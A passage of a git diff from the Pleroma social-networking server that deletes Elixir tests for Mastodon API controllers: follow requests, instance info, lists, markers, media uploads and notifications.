User.following?(other_user, user) == false - - conn = get(conn, "/api/v1/follow_requests") - - assert [relationship] = json_response_and_validate_schema(conn, 200) - assert to_string(other_user.id) == relationship["id"] - end - - test "/api/v1/follow_requests/:id/authorize works", %{user: user, conn: conn} do - other_user = insert(:user) - - {:ok, _, _, _activity} = CommonAPI.follow(other_user, user) - {:ok, other_user} = User.follow(other_user, user, :follow_pending) - - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - - assert User.following?(other_user, user) == false - - conn = post(conn, "/api/v1/follow_requests/#{other_user.id}/authorize") - - assert relationship = json_response_and_validate_schema(conn, 200) - assert to_string(other_user.id) == relationship["id"] - - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - - assert User.following?(other_user, user) == true - end - - test "/api/v1/follow_requests/:id/reject works", %{user: user, conn: conn} do - other_user = insert(:user) - - {:ok, _, _, _activity} = CommonAPI.follow(other_user, user) - - user = User.get_cached_by_id(user.id) - - conn = post(conn, "/api/v1/follow_requests/#{other_user.id}/reject") - - assert relationship = json_response_and_validate_schema(conn, 200) - assert to_string(other_user.id) == relationship["id"] - - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - - assert User.following?(other_user, user) == false - end - end -end diff --git a/test/web/mastodon_api/controllers/instance_controller_test.exs b/test/web/mastodon_api/controllers/instance_controller_test.exs deleted file mode 100644 index 6a9ccd979..000000000 --- a/test/web/mastodon_api/controllers/instance_controller_test.exs +++ /dev/null @@ -1,87 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.InstanceControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.User - import Pleroma.Factory - - test "get instance information", %{conn: conn} do - conn = get(conn, "/api/v1/instance") - assert result = json_response_and_validate_schema(conn, 200) - - email = Pleroma.Config.get([:instance, :email]) - # Note: not checking for "max_toot_chars" since it's optional - assert %{ - "uri" => _, - "title" => _, - "description" => _, - "version" => _, - "email" => from_config_email, - "urls" => %{ - "streaming_api" => _ - }, - "stats" => _, - "thumbnail" => _, - "languages" => _, - "registrations" => _, - "approval_required" => _, - "poll_limits" => _, - "upload_limit" => _, - "avatar_upload_limit" => _, - "background_upload_limit" => _, - "banner_upload_limit" => _, - "background_image" => _, - "chat_limit" => _, - "description_limit" => _ - } = result - - assert result["pleroma"]["metadata"]["account_activation_required"] != nil - assert result["pleroma"]["metadata"]["features"] - assert result["pleroma"]["metadata"]["federation"] - assert result["pleroma"]["metadata"]["fields_limits"] - assert result["pleroma"]["vapid_public_key"] - - assert email == from_config_email - end - - test "get instance stats", %{conn: conn} do - user = insert(:user, %{local: true}) - - user2 = insert(:user, %{local: true}) - {:ok, _user2} = User.deactivate(user2, !user2.deactivated) - - insert(:user, %{local: false, nickname: "u@peer1.com"}) - insert(:user, %{local: false, nickname: "u@peer2.com"}) - - {:ok, _} = Pleroma.Web.CommonAPI.post(user, %{status: "cofe"}) - - Pleroma.Stats.force_update() - - conn = get(conn, "/api/v1/instance") - - assert result = json_response_and_validate_schema(conn, 200) - - stats = result["stats"] - - assert stats - assert stats["user_count"] == 1 - assert stats["status_count"] == 1 - assert stats["domain_count"] == 2 - end - - test "get peers", %{conn: conn} do - insert(:user, %{local: false, nickname: "u@peer1.com"}) - insert(:user, %{local: false, nickname: "u@peer2.com"}) - - Pleroma.Stats.force_update() - - conn = get(conn, "/api/v1/instance/peers") - - assert result = json_response_and_validate_schema(conn, 200) - - assert ["peer1.com", "peer2.com"] == Enum.sort(result) - end -end diff --git a/test/web/mastodon_api/controllers/list_controller_test.exs b/test/web/mastodon_api/controllers/list_controller_test.exs deleted file mode 100644 index 091ec006c..000000000 --- a/test/web/mastodon_api/controllers/list_controller_test.exs +++ /dev/null @@ -1,176 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.ListControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Repo - - import Pleroma.Factory - - test "creating a list" do - %{conn: conn} = oauth_access(["write:lists"]) - - assert %{"title" => "cuties"} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/lists", %{"title" => "cuties"}) - |> json_response_and_validate_schema(:ok) - end - - test "renders error for invalid params" do - %{conn: conn} = oauth_access(["write:lists"]) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/lists", %{"title" => nil}) - - assert %{"error" => "title - null value where string expected."} = - json_response_and_validate_schema(conn, 400) - end - - test "listing a user's lists" do - %{conn: conn} = oauth_access(["read:lists", "write:lists"]) - - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/lists", %{"title" => "cuties"}) - |> json_response_and_validate_schema(:ok) - - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/lists", %{"title" => "cofe"}) - |> json_response_and_validate_schema(:ok) - - conn = get(conn, "/api/v1/lists") - - assert [ - %{"id" => _, "title" => "cofe"}, - %{"id" => _, "title" => "cuties"} - ] = json_response_and_validate_schema(conn, :ok) - end - - test "adding users to a list" do - %{user: user, conn: conn} = oauth_access(["write:lists"]) - other_user = insert(:user) - {:ok, list} = Pleroma.List.create("name", user) - - assert %{} == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]}) - |> json_response_and_validate_schema(:ok) - - %Pleroma.List{following: following} = Pleroma.List.get(list.id, user) - assert following == [other_user.follower_address] - end - - test "removing users from a list, body params" do - %{user: user, conn: conn} = oauth_access(["write:lists"]) - other_user = insert(:user) - third_user = insert(:user) - {:ok, list} = Pleroma.List.create("name", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - {:ok, list} = Pleroma.List.follow(list, third_user) - - assert %{} == - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]}) - |> json_response_and_validate_schema(:ok) - - %Pleroma.List{following: following} = Pleroma.List.get(list.id, user) - assert following == [third_user.follower_address] - end - - test "removing users from a list, query params" do - %{user: user, conn: conn} = oauth_access(["write:lists"]) - other_user = insert(:user) - third_user = insert(:user) - {:ok, list} = Pleroma.List.create("name", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - {:ok, list} = Pleroma.List.follow(list, third_user) - - assert %{} == - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/v1/lists/#{list.id}/accounts?account_ids[]=#{other_user.id}") - |> json_response_and_validate_schema(:ok) - - %Pleroma.List{following: following} = Pleroma.List.get(list.id, user) - assert following == [third_user.follower_address] - end - - test "listing users in a list" do - %{user: user, conn: conn} = oauth_access(["read:lists"]) - other_user = insert(:user) - {:ok, list} = Pleroma.List.create("name", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]}) - - assert [%{"id" => id}] = json_response_and_validate_schema(conn, 200) - assert id == to_string(other_user.id) - end - - test "retrieving a list" do - %{user: user, conn: conn} = oauth_access(["read:lists"]) - {:ok, list} = Pleroma.List.create("name", user) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/lists/#{list.id}") - - assert %{"id" => id} = json_response_and_validate_schema(conn, 200) - assert id == to_string(list.id) - end - - test "renders 404 if list is not found" do - %{conn: conn} = oauth_access(["read:lists"]) - - conn = get(conn, "/api/v1/lists/666") - - assert %{"error" => "List not found"} = json_response_and_validate_schema(conn, :not_found) - end - - test "renaming a list" do - %{user: user, conn: conn} = oauth_access(["write:lists"]) - {:ok, list} = Pleroma.List.create("name", user) - - assert %{"title" => "newname"} = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/v1/lists/#{list.id}", %{"title" => "newname"}) - |> json_response_and_validate_schema(:ok) - end - - test "validates title when renaming a list" do - %{user: user, conn: conn} = oauth_access(["write:lists"]) - {:ok, list} = Pleroma.List.create("name", user) - - conn = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/json") - |> put("/api/v1/lists/#{list.id}", %{"title" => " "}) - - assert %{"error" => "can't be blank"} == - json_response_and_validate_schema(conn, :unprocessable_entity) - end - - test "deleting a list" do - %{user: user, conn: conn} = oauth_access(["write:lists"]) - {:ok, list} = Pleroma.List.create("name", user) - - conn = delete(conn, "/api/v1/lists/#{list.id}") - - assert %{} = json_response_and_validate_schema(conn, 200) - assert is_nil(Repo.get(Pleroma.List, list.id)) - end -end diff --git a/test/web/mastodon_api/controllers/marker_controller_test.exs b/test/web/mastodon_api/controllers/marker_controller_test.exs deleted file mode 100644 index 9f0481120..000000000 --- a/test/web/mastodon_api/controllers/marker_controller_test.exs +++ /dev/null @@ -1,131 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.MarkerControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - describe "GET /api/v1/markers" do - test "gets markers with correct scopes", %{conn: conn} do - user = insert(:user) - token = insert(:oauth_token, user: user, scopes: ["read:statuses"]) - insert_list(7, :notification, user: user, activity: insert(:note_activity)) - - {:ok, %{"notifications" => marker}} = - Pleroma.Marker.upsert( - user, - %{"notifications" => %{"last_read_id" => "69420"}} - ) - - response = - conn - |> assign(:user, user) - |> assign(:token, token) - |> get("/api/v1/markers?timeline[]=notifications") - |> json_response_and_validate_schema(200) - - assert response == %{ - "notifications" => %{ - "last_read_id" => "69420", - "updated_at" => NaiveDateTime.to_iso8601(marker.updated_at), - "version" => 0, - "pleroma" => %{"unread_count" => 7} - } - } - end - - test "gets markers with missed scopes", %{conn: conn} do - user = insert(:user) - token = insert(:oauth_token, user: user, scopes: []) - - Pleroma.Marker.upsert(user, %{"notifications" => %{"last_read_id" => "69420"}}) - - response = - conn - |> assign(:user, user) - |> assign(:token, token) - |> get("/api/v1/markers", %{timeline: ["notifications"]}) - |> json_response_and_validate_schema(403) - - assert response == %{"error" => "Insufficient permissions: read:statuses."} - end - end - - describe "POST /api/v1/markers" do - test "creates a marker with correct scopes", %{conn: conn} do - user = insert(:user) - token = insert(:oauth_token, user: user, scopes: ["write:statuses"]) - - response = - conn - |> assign(:user, user) - |> assign(:token, token) - |> put_req_header("content-type", "application/json") - |> post("/api/v1/markers", %{ - home: %{last_read_id: "777"}, - notifications: %{"last_read_id" => "69420"} - }) - |> json_response_and_validate_schema(200) - - assert %{ - "notifications" => %{ - "last_read_id" => "69420", - "updated_at" => _, - "version" => 0, - "pleroma" => %{"unread_count" => 0} - } - } = response - end - - test "updates exist marker", %{conn: conn} do - user = insert(:user) - token = insert(:oauth_token, user: user, scopes: ["write:statuses"]) - - {:ok, %{"notifications" => marker}} = - Pleroma.Marker.upsert( - user, - %{"notifications" => %{"last_read_id" => "69477"}} - ) - - response = - conn - |> assign(:user, user) - |> assign(:token, token) - |> put_req_header("content-type", "application/json") - |> post("/api/v1/markers", %{ - home: %{last_read_id: "777"}, - notifications: %{"last_read_id" => "69888"} - }) - |> json_response_and_validate_schema(200) - - assert response == %{ - "notifications" => %{ - "last_read_id" => "69888", - "updated_at" => NaiveDateTime.to_iso8601(marker.updated_at), - "version" => 0, - "pleroma" => %{"unread_count" => 0} - } - } - end - - test "creates a marker with missed scopes", %{conn: conn} do - user = insert(:user) - token = insert(:oauth_token, user: user, scopes: []) - - response = - conn - |> assign(:user, user) - |> assign(:token, token) - |> put_req_header("content-type", "application/json") - |> post("/api/v1/markers", %{ - home: %{last_read_id: "777"}, - notifications: %{"last_read_id" => "69420"} - }) - |> json_response_and_validate_schema(403) - - assert response == %{"error" => "Insufficient permissions: write:statuses."} - end - end -end diff --git a/test/web/mastodon_api/controllers/media_controller_test.exs b/test/web/mastodon_api/controllers/media_controller_test.exs deleted file mode 100644 index 906fd940f..000000000 --- a/test/web/mastodon_api/controllers/media_controller_test.exs +++ /dev/null @@ -1,146 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.MediaControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Object - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - - describe "Upload media" do - setup do: oauth_access(["write:media"]) - - setup do - image = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - [image: image] - end - - setup do: clear_config([:media_proxy]) - setup do: clear_config([Pleroma.Upload]) - - test "/api/v1/media", %{conn: conn, image: image} do - desc = "Description of the image" - - media = - conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/v1/media", %{"file" => image, "description" => desc}) - |> json_response_and_validate_schema(:ok) - - assert media["type"] == "image" - assert media["description"] == desc - assert media["id"] - - object = Object.get_by_id(media["id"]) - assert object.data["actor"] == User.ap_id(conn.assigns[:user]) - end - - test "/api/v2/media", %{conn: conn, user: user, image: image} do - desc = "Description of the image" - - response = - conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/v2/media", %{"file" => image, "description" => desc}) - |> json_response_and_validate_schema(202) - - assert media_id = response["id"] - - %{conn: conn} = oauth_access(["read:media"], user: user) - - media = - conn - |> get("/api/v1/media/#{media_id}") - |> json_response_and_validate_schema(200) - - assert media["type"] == "image" - assert media["description"] == desc - assert media["id"] - - object = Object.get_by_id(media["id"]) - assert object.data["actor"] == user.ap_id - end - end - - describe "Update media description" do - setup do: oauth_access(["write:media"]) - - setup %{user: actor} do - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, %Object{} = object} = - ActivityPub.upload( - file, - actor: User.ap_id(actor), - description: "test-m" - ) - - [object: object] - end - - test "/api/v1/media/:id good request", %{conn: conn, object: object} do - media = - conn - |> put_req_header("content-type", "multipart/form-data") - |> put("/api/v1/media/#{object.id}", %{"description" => "test-media"}) - |> json_response_and_validate_schema(:ok) - - assert media["description"] == "test-media" - assert refresh_record(object).data["name"] == "test-media" - end - end - - describe "Get media by id (/api/v1/media/:id)" do - setup do: oauth_access(["read:media"]) - - setup %{user: actor} do - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, %Object{} = object} = - ActivityPub.upload( - file, - actor: User.ap_id(actor), - description: "test-media" - ) - - [object: object] - end - - test "it returns media object when requested by owner", %{conn: conn, object: object} do - media = - conn - |> get("/api/v1/media/#{object.id}") - |> json_response_and_validate_schema(:ok) - - assert media["description"] == "test-media" - assert media["type"] == "image" - assert media["id"] - end - - test "it returns 403 if media object requested by non-owner", %{object: object, user: user} do - %{conn: conn, user: other_user} = oauth_access(["read:media"]) - - assert object.data["actor"] == user.ap_id - refute user.id == other_user.id - - conn - |> get("/api/v1/media/#{object.id}") - |> json_response(403) - end - end -end diff --git a/test/web/mastodon_api/controllers/notification_controller_test.exs b/test/web/mastodon_api/controllers/notification_controller_test.exs deleted file mode 100644 index 70ef0e8b5..000000000 --- a/test/web/mastodon_api/controllers/notification_controller_test.exs +++ /dev/null @@ -1,626 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.NotificationControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Notification - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "does NOT render account/pleroma/relationship by default" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - {:ok, [_notification]} = Notification.create_notifications(activity) - - response = - conn - |> assign(:user, user) - |> get("/api/v1/notifications") - |> json_response_and_validate_schema(200) - - assert Enum.all?(response, fn n -> - get_in(n, ["account", "pleroma", "relationship"]) == %{} - end) - end - - test "list of notifications" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - - {:ok, [_notification]} = Notification.create_notifications(activity) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/notifications") - - expected_response = - "hi <span class=\"h-card\"><a class=\"u-url mention\" data-user=\"#{user.id}\" href=\"#{ - user.ap_id - }\" rel=\"ugc\">@<span>#{user.nickname}</span></a></span>" - - assert [%{"status" => %{"content" => response}} | _rest] = - json_response_and_validate_schema(conn, 200) - - assert response == expected_response - end - - test "by default, does not contain pleroma:chat_mention" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, _activity} = CommonAPI.post_chat_message(other_user, user, "hey") - - result = - conn - |> get("/api/v1/notifications") - |> json_response_and_validate_schema(200) - - assert [] == result - - result = - conn - |> get("/api/v1/notifications?include_types[]=pleroma:chat_mention") - |> json_response_and_validate_schema(200) - - assert [_] = result - end - - test "getting a single notification" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - - conn = get(conn, "/api/v1/notifications/#{notification.id}") - - expected_response = - "hi <span class=\"h-card\"><a class=\"u-url mention\" data-user=\"#{user.id}\" href=\"#{ - user.ap_id - }\" rel=\"ugc\">@<span>#{user.nickname}</span></a></span>" - - assert %{"status" => %{"content" => response}} = json_response_and_validate_schema(conn, 200) - assert response == expected_response - end - - test "dismissing a single notification (deprecated endpoint)" do - %{user: user, conn: conn} = oauth_access(["write:notifications"]) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - - conn = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/json") - |> post("/api/v1/notifications/dismiss", %{"id" => to_string(notification.id)}) - - assert %{} = json_response_and_validate_schema(conn, 200) - end - - test "dismissing a single notification" do - %{user: user, conn: conn} = oauth_access(["write:notifications"]) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/notifications/#{notification.id}/dismiss") - - assert %{} = json_response_and_validate_schema(conn, 200) - end - - test "clearing all notifications" do - %{user: user, conn: conn} = oauth_access(["write:notifications", "read:notifications"]) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - - {:ok, [_notification]} = Notification.create_notifications(activity) - - ret_conn = post(conn, "/api/v1/notifications/clear") - - assert %{} = json_response_and_validate_schema(ret_conn, 200) - - ret_conn = get(conn, "/api/v1/notifications") - - assert all = json_response_and_validate_schema(ret_conn, 200) - assert all == [] - end - - test "paginates notifications using min_id, since_id, max_id, and limit" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, activity1} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - {:ok, activity2} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - {:ok, activity3} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - {:ok, activity4} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - - notification1_id = get_notification_id_by_activity(activity1) - notification2_id = get_notification_id_by_activity(activity2) - notification3_id = get_notification_id_by_activity(activity3) - notification4_id = get_notification_id_by_activity(activity4) - - conn = assign(conn, :user, user) - - # min_id - result = - conn - |> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}") - |> json_response_and_validate_schema(:ok) - - assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result - - # since_id - result = - conn - |> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}") - |> json_response_and_validate_schema(:ok) - - assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result - - # max_id - result = - conn - |> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}") - |> json_response_and_validate_schema(:ok) - - assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result - end - - describe "exclude_visibilities" do - test "filters notifications for mentions" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, public_activity} = - CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "public"}) - - {:ok, direct_activity} = - CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "direct"}) - - {:ok, unlisted_activity} = - CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "unlisted"}) - - {:ok, private_activity} = - CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "private"}) - - query = params_to_query(%{exclude_visibilities: ["public", "unlisted", "private"]}) - conn_res = get(conn, "/api/v1/notifications?" <> query) - - assert [%{"status" => %{"id" => id}}] = json_response_and_validate_schema(conn_res, 200) - assert id == direct_activity.id - - query = params_to_query(%{exclude_visibilities: ["public", "unlisted", "direct"]}) - conn_res = get(conn, "/api/v1/notifications?" <> query) - - assert [%{"status" => %{"id" => id}}] = json_response_and_validate_schema(conn_res, 200) - assert id == private_activity.id - - query = params_to_query(%{exclude_visibilities: ["public", "private", "direct"]}) - conn_res = get(conn, "/api/v1/notifications?" <> query) - - assert [%{"status" => %{"id" => id}}] = json_response_and_validate_schema(conn_res, 200) - assert id == unlisted_activity.id - - query = params_to_query(%{exclude_visibilities: ["unlisted", "private", "direct"]}) - conn_res = get(conn, "/api/v1/notifications?" <> query) - - assert [%{"status" => %{"id" => id}}] = json_response_and_validate_schema(conn_res, 200) - assert id == public_activity.id - end - - test "filters notifications for Like activities" do - user = insert(:user) - %{user: other_user, conn: conn} = oauth_access(["read:notifications"]) - - {:ok, public_activity} = CommonAPI.post(other_user, %{status: ".", visibility: "public"}) - - {:ok, direct_activity} = - CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "direct"}) - - {:ok, unlisted_activity} = - CommonAPI.post(other_user, %{status: ".", visibility: "unlisted"}) - - {:ok, private_activity} = CommonAPI.post(other_user, %{status: ".", visibility: "private"}) - - {:ok, _} = CommonAPI.favorite(user, public_activity.id) - {:ok, _} = CommonAPI.favorite(user, direct_activity.id) - {:ok, _} = CommonAPI.favorite(user, unlisted_activity.id) - {:ok, _} = CommonAPI.favorite(user, private_activity.id) - - activity_ids = - conn - |> get("/api/v1/notifications?exclude_visibilities[]=direct") - |> json_response_and_validate_schema(200) - |> Enum.map(& &1["status"]["id"]) - - assert public_activity.id in activity_ids - assert unlisted_activity.id in activity_ids - assert private_activity.id in activity_ids - refute direct_activity.id in activity_ids - - activity_ids = - conn - |> get("/api/v1/notifications?exclude_visibilities[]=unlisted") - |> json_response_and_validate_schema(200) - |> Enum.map(& &1["status"]["id"]) - - assert public_activity.id in activity_ids - refute unlisted_activity.id in activity_ids - assert private_activity.id in activity_ids - assert direct_activity.id in activity_ids - - activity_ids = - conn - |> get("/api/v1/notifications?exclude_visibilities[]=private") - |> json_response_and_validate_schema(200) - |> Enum.map(& &1["status"]["id"]) - - assert public_activity.id in activity_ids - assert unlisted_activity.id in activity_ids - refute private_activity.id in activity_ids - assert direct_activity.id in activity_ids - - activity_ids = - conn - |> get("/api/v1/notifications?exclude_visibilities[]=public") - |> json_response_and_validate_schema(200) - |> Enum.map(& &1["status"]["id"]) - - refute public_activity.id in activity_ids - assert unlisted_activity.id in activity_ids - assert private_activity.id in activity_ids - assert direct_activity.id in activity_ids - end - - test "filters notifications for Announce activities" do - user = insert(:user) - %{user: other_user, conn: conn} = oauth_access(["read:notifications"]) - - {:ok, public_activity} = CommonAPI.post(other_user, %{status: ".", visibility: "public"}) - - {:ok, unlisted_activity} = - CommonAPI.post(other_user, %{status: ".", visibility: "unlisted"}) - - {:ok, _} = CommonAPI.repeat(public_activity.id, user) - {:ok, _} = CommonAPI.repeat(unlisted_activity.id, user) - - activity_ids = - conn - |> get("/api/v1/notifications?exclude_visibilities[]=unlisted") - |> json_response_and_validate_schema(200) - |> Enum.map(& &1["status"]["id"]) - - assert public_activity.id in activity_ids - refute unlisted_activity.id in activity_ids - end - - test "doesn't return less than the requested amount of records when the user's reply is liked" do - user = insert(:user) - %{user: other_user, conn: conn} = oauth_access(["read:notifications"]) - - {:ok, mention} = - CommonAPI.post(user, %{status: "@#{other_user.nickname}", visibility: "public"}) - - {:ok, activity} = CommonAPI.post(user, %{status: ".", visibility: "public"}) - - {:ok, reply} = - CommonAPI.post(other_user, %{ - status: ".", - visibility: "public", - in_reply_to_status_id: activity.id - }) - - {:ok, _favorite} = CommonAPI.favorite(user, reply.id) - - activity_ids = - conn - |> get("/api/v1/notifications?exclude_visibilities[]=direct&limit=2") - |> json_response_and_validate_schema(200) - |> Enum.map(& &1["status"]["id"]) - - assert [reply.id, mention.id] == activity_ids - end - end - - test "filters notifications using exclude_types" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, mention_activity} = CommonAPI.post(other_user, %{status: "hey @#{user.nickname}"}) - {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, favorite_activity} = CommonAPI.favorite(other_user, create_activity.id) - {:ok, reblog_activity} = CommonAPI.repeat(create_activity.id, other_user) - {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user) - - mention_notification_id = get_notification_id_by_activity(mention_activity) - favorite_notification_id = get_notification_id_by_activity(favorite_activity) - reblog_notification_id = get_notification_id_by_activity(reblog_activity) - follow_notification_id = get_notification_id_by_activity(follow_activity) - - query = params_to_query(%{exclude_types: ["mention", "favourite", "reblog"]}) - conn_res = get(conn, "/api/v1/notifications?" <> query) - - assert [%{"id" => ^follow_notification_id}] = json_response_and_validate_schema(conn_res, 200) - - query = params_to_query(%{exclude_types: ["favourite", "reblog", "follow"]}) - conn_res = get(conn, "/api/v1/notifications?" <> query) - - assert [%{"id" => ^mention_notification_id}] = - json_response_and_validate_schema(conn_res, 200) - - query = params_to_query(%{exclude_types: ["reblog", "follow", "mention"]}) - conn_res = get(conn, "/api/v1/notifications?" <> query) - - assert [%{"id" => ^favorite_notification_id}] = - json_response_and_validate_schema(conn_res, 200) - - query = params_to_query(%{exclude_types: ["follow", "mention", "favourite"]}) - conn_res = get(conn, "/api/v1/notifications?" <> query) - - assert [%{"id" => ^reblog_notification_id}] = json_response_and_validate_schema(conn_res, 200) - end - - test "filters notifications using include_types" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, mention_activity} = CommonAPI.post(other_user, %{status: "hey @#{user.nickname}"}) - {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, favorite_activity} = CommonAPI.favorite(other_user, create_activity.id) - {:ok, reblog_activity} = CommonAPI.repeat(create_activity.id, other_user) - {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user) - - mention_notification_id = get_notification_id_by_activity(mention_activity) - favorite_notification_id = get_notification_id_by_activity(favorite_activity) - reblog_notification_id = get_notification_id_by_activity(reblog_activity) - follow_notification_id = get_notification_id_by_activity(follow_activity) - - conn_res = get(conn, "/api/v1/notifications?include_types[]=follow") - - assert [%{"id" => ^follow_notification_id}] = json_response_and_validate_schema(conn_res, 200) - - conn_res = get(conn, "/api/v1/notifications?include_types[]=mention") - - assert [%{"id" => ^mention_notification_id}] = - json_response_and_validate_schema(conn_res, 200) - - conn_res = get(conn, "/api/v1/notifications?include_types[]=favourite") - - assert [%{"id" => ^favorite_notification_id}] = - json_response_and_validate_schema(conn_res, 200) - - conn_res = get(conn, "/api/v1/notifications?include_types[]=reblog") - - assert [%{"id" => ^reblog_notification_id}] = json_response_and_validate_schema(conn_res, 200) - - result = conn |> get("/api/v1/notifications") |> json_response_and_validate_schema(200) - - assert length(result) == 4 - - query = params_to_query(%{include_types: ["follow", "mention", "favourite", "reblog"]}) - - result = - conn - |> get("/api/v1/notifications?" <> query) - |> json_response_and_validate_schema(200) - - assert length(result) == 4 - end - - test "destroy multiple" do - %{user: user, conn: conn} = oauth_access(["read:notifications", "write:notifications"]) - other_user = insert(:user) - - {:ok, activity1} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - {:ok, activity2} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - {:ok, activity3} = CommonAPI.post(user, %{status: "hi @#{other_user.nickname}"}) - {:ok, activity4} = CommonAPI.post(user, %{status: "hi @#{other_user.nickname}"}) - - notification1_id = get_notification_id_by_activity(activity1) - notification2_id = get_notification_id_by_activity(activity2) - notification3_id = get_notification_id_by_activity(activity3) - notification4_id = get_notification_id_by_activity(activity4) - - result = - conn - |> get("/api/v1/notifications") - |> json_response_and_validate_schema(:ok) - - assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result - - conn2 = - conn - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:notifications"])) - - result = - conn2 - |> get("/api/v1/notifications") - |> json_response_and_validate_schema(:ok) - - assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result - - query = params_to_query(%{ids: [notification1_id, notification2_id]}) - conn_destroy = delete(conn, "/api/v1/notifications/destroy_multiple?" <> query) - - assert json_response_and_validate_schema(conn_destroy, 200) == %{} - - result = - conn2 - |> 